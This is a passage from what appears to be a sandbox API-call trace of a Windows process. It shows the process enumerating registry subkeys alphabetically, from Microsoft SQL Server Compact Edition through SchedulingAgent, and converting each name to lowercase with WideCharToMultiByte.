out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0248.813] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x58b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x58c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0248.813] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x58b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x58c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0248.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x58b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x58c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0248.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x58b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x58c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0248.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x58b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x58c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0248.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x58b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x58c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0248.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x58b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x58c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0248.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x58b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0248.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x58b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x58c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0248.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x58b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x58c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0248.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x58b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x58c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0248.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x58b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0248.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x58b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x58c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0248.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x58b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x58c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0248.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x58b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x58c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0248.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x58b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x58c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0248.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x58b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x58c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0248.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x58b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x58c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0248.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x58b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x58c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0248.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x58b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x58c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0248.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x58b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0248.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x58c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0248.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x58b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0248.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0248.822] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x58b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x58c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0248.822] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x58b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x58c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0248.822] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x58b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x58c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0248.822] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x58b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0248.822] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x58b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x58c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0248.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x58b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0248.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x58b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x58c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0248.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x58b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x58c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0248.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x58b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x58c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0248.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x58b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0248.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x58b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x58c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0248.824] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x58b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x58c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0248.824] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x58b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x58c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0248.824] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x58b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x58c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0248.824] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x58b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x58c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0248.824] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x58b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0248.824] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x58b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x58c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0248.824] 